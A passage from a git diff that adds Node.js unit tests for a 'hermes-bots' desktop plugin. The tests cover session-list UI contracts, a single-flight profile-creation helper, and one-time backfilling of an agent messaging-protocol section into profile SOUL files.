+ assert.deepEqual(plain(runtime.__sessions.$botSelectedSessions.get()), {})
+})
+
+test('source contract: the primary bot click keeps canonical chat while Sessions is secondary', () => {
+ assert.match(pluginSource, /const open = async \(\) => \{[\s\S]*openBotCanonicalChat\(bot\.name, meta\?\.chat\)/)
+ assert.match(pluginSource, /openBotSessionsWorkspace\(bot\)[\s\S]*children: 'Sessions'/)
+})
+
+test('source contract: workspaces disclose the bounded recent-session inventory', () => {
+ assert.match(pluginSource, /queryKey: \[ID, 'profile-sessions', botName, gatewayGeneration\]/)
+ assert.match(pluginSource, /enabled: Boolean\(botName\)/)
+ assert.match(pluginSource, /host\.request\('session\.list', \{ profile: botName, limit: PROFILE_SESSION_LIST_LIMIT \}\)/)
+ assert.match(pluginSource, /Showing the \$\{PROFILE_SESSION_LIST_LIMIT\} most recent sessions\./)
+ assert.match(pluginSource, /No matching sessions in the \$\{PROFILE_SESSION_LIST_LIMIT\} most recent\./)
+ assert.doesNotMatch(pluginSource, /children: 'Activate profile'/)
+ assert.match(pluginSource, /host\.state\.gateway\.listen\(handleSessionsGatewayTransition\)/)
+})
+
+test('source contract: session controls expose filter and selection state to assistive technology', () => {
+ assert.match(pluginSource, /'aria-label': 'Filter sessions'/)
+ assert.match(pluginSource, /'aria-current': active \? 'page' : undefined/)
+})
+
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/single-flight.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/single-flight.test.mjs
new file mode 100644
index 00000000000..05cc64ea2e0
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/single-flight.test.mjs
@@ -0,0 +1,61 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function loadSingleFlight() {
+ const start = pluginSource.indexOf('function singleFlight(')
+ const end = pluginSource.indexOf('/** The agent-to-agent messaging protocol', start)
+ assert.notEqual(start, -1, 'plugin exports the single-flight helper source')
+ assert.notEqual(end, -1, 'single-flight helper has a stable source boundary')
+ const context = {}
+ vm.runInNewContext(`${pluginSource.slice(start, end)}\nglobalThis.singleFlight = singleFlight`, context)
+ return context.singleFlight
+}
+
+test('concurrent callers share one in-flight profile creation', async () => {
+ const singleFlight = loadSingleFlight()
+ const ref = { current: null }
+ let calls = 0
+ let release
+ const pending = new Promise(resolve => {
+ release = resolve
+ })
+ const create = async () => {
+ calls += 1
+ await pending
+ return 'researcher'
+ }
+
+ const first = singleFlight(ref, create)
+ const second = singleFlight(ref, create)
+
+ assert.equal(calls, 1)
+ assert.equal(first, second)
+ release()
+ assert.equal(await first, 'researcher')
+ assert.equal(ref.current, first)
+})
+
+test('a failed creation clears the flight so retry can succeed', async () => {
+ const singleFlight = loadSingleFlight()
+ const ref = { current: null }
+ let calls = 0
+
+ await assert.rejects(
+ singleFlight(ref, async () => {
+ calls += 1
+ throw new Error('gateway unavailable')
+ }),
+ /gateway unavailable/
+ )
+
+ assert.equal(ref.current, null)
+ assert.equal(await singleFlight(ref, async () => {
+ calls += 1
+ return 'researcher'
+ }), 'researcher')
+ assert.equal(calls, 2)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/soul-protocol-backfill.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/soul-protocol-backfill.test.mjs
new file mode 100644
index 00000000000..24a3694ad0b
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/soul-protocol-backfill.test.mjs
@@ -0,0 +1,141 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function loadSoulHelpers({ serverInjects = false } = {}) {
+ const start = source.indexOf('function botHandle(name) {')
+ const end = source.indexOf('// ── human-readable row helpers', start)
+ assert.notEqual(start, -1, 'botHandle is missing')
+ assert.notEqual(end, -1, 'soul-helper section delimiter is missing')
+ const context = { serverInjectsProtocol: serverInjects }
+ vm.runInNewContext(
+ `${source.slice(start, end)}\nObject.assign(globalThis, { botHandle, hasMessagingProtocol, ensureMessagingProtocol, composeSoul, messagingProtocolSection })`,
+ context
+ )
+ return context
+}
+
+const EXISTING_SOUL = `# Main agent
+
+I am the default profile on this machine.
+
+## Notes
+- Execute directly.
+`
+
+test('generated protocol uses hermes profile list, not the invalid profiles plural', () => {
+ assert.match(source, /run `hermes profile list` for the LIVE/)
+ assert.doesNotMatch(source, /run `hermes profiles list` for the LIVE/)
+})
+
+test('pre-existing custom SOUL is detected as missing the protocol', () => {
+ const { hasMessagingProtocol } = loadSoulHelpers()
+ assert.equal(hasMessagingProtocol(EXISTING_SOUL), false)
+ assert.equal(hasMessagingProtocol(''), false)
+ assert.equal(hasMessagingProtocol('# Bot\n\n## Messaging other agents\n\nYou work alongside'), true)
+})
+
+test('ensureMessagingProtocol appends once and does not duplicate', () => {
+ const { ensureMessagingProtocol, hasMessagingProtocol } = loadSoulHelpers()
+ const roster = [
+ { name: 'default', description: 'main agent' },
+ { name: 'researcher', description: 'research specialist' }
+ ]
+ const once = ensureMessagingProtocol(EXISTING_SOUL, 'default', roster)
+ assert.equal(hasMessagingProtocol(once), true)
+ assert.match(once, /I am the default profile on this machine/)
+ assert.match(once, /`researcher` — research specialist/)
+ assert.match(once, /@hermes/)
+ assert.doesNotMatch(once, /@default/)
+
+ const twice = ensureMessagingProtocol(once, 'default', roster)
+ assert.equal(twice, once.trim())
+ assert.equal(twice.split('## Messaging other agents').length, 2)
+})
+
+test('composeSoul does not double-append when custom SOUL already has the protocol', () => {
+ const { composeSoul } = loadSoulHelpers()
+ const roster = [{ name: 'researcher' }, { name: 'default' }]
+ const withProtocol = composeSoul({
+ name: 'researcher',
+ title: 'Researcher',
+ description: 'literature review',
+ roster,
+ customSoul: ''
+ })
+ const cloned = composeSoul({
+ name: 'researcher',
+ roster,
+ customSoul: withProtocol
+ })
+ assert.equal(cloned.split('## Messaging other agents').length, 2)
+})
+
+test('backfill is one-shot: describe-only when protocol exists, configure when missing', async () => {
+ const start = source.indexOf('const soulProtocolChecked = new Set()')
+ const end = source.indexOf('/** SOUL.md for a new bot:', start)
+ assert.notEqual(start, -1)
+ assert.notEqual(end, -1)
+
+ const calls = []
+ const context = {
+ serverInjectsProtocol: false,
+ soulProtocolChecked: new Set(),
+ soulProtocolInflight: new Set(),
+ hasMessagingProtocol: soul => /## Messaging other agents/.test(soul || ''),
+ ensureMessagingProtocol: soul => `${soul}\n\n## Messaging other agents\n`,
+ host: {
+ request: async (method, payload) => {
+ calls.push({ method, payload })
+ if (method === 'profiles.describe') {
+ if (payload.name === 'researcher') return { soul: '# Researcher\n\n## Messaging other agents\n' }
+ return { soul: EXISTING_SOUL }
+ }
+ return { ok: true }
+ }
+ }
+ }
+
+ vm.runInNewContext(
+ `${source.slice(start, end)}\nbackfillMessagingProtocol(roster)`,
+ { ...context, roster: [{ name: 'default' }, { name: 'researcher' }] }
+ )
+
+ await new Promise(resolve => setTimeout(resolve, 0))
+ await new Promise(resolve => setTimeout(resolve, 0))
+
+ const describes = calls.filter(c => c.method === 'profiles.describe').map(c => c.payload.name)
+ const configures = calls.filter(c => c.method === 'profiles.configure')
+ assert.deepEqual(describes.sort(), ['default', 'researcher'])
+ assert.equal(configures.length, 1)
+ assert.equal(configures[0].payload.name, 'default')
+ assert.match(configures[0].payload.soul, /## Messaging other agents/)
+})
+
+test('backend bot_mode_protocol capability suppresses every SOUL protocol write', async () => {
+ // ensureMessagingProtocol becomes identity — custom SOULs stay untouched.
+ const helpers = loadSoulHelpers({ serverInjects: true })
+ assert.equal(helpers.ensureMessagingProtocol(EXISTING_SOUL, 'default', []), EXISTING_SOUL.trim())
+
+ // backfill never issues a single RPC.
+ const start = source.indexOf('const soulProtocolChecked = new Set()')
+ const end = source.indexOf('/** SOUL.md for a new bot:', start)
+ const calls = []
+ vm.runInNewContext(
+ `${source.slice(start, end)}\nbackfillMessagingProtocol(roster)`,
+ {
+ serverInjectsProtocol: true,
+ soulProtocolChecked: new Set(),
+ soulProtocolInflight: new Set(),
+ hasMessagingProtocol: () => false,
+ ensureMessagingProtocol: soul => soul,
+ host: { request: async (method, payload) => (calls.push({ method, payload }), { ok: true }) },
+ roster: [{ name: 'default' }, { name: 'researcher' }]
+ }
+ )
+ await new Promise(resolve => setTimeout(resolve, 0))
+ assert.equal(calls.length, 0)
+})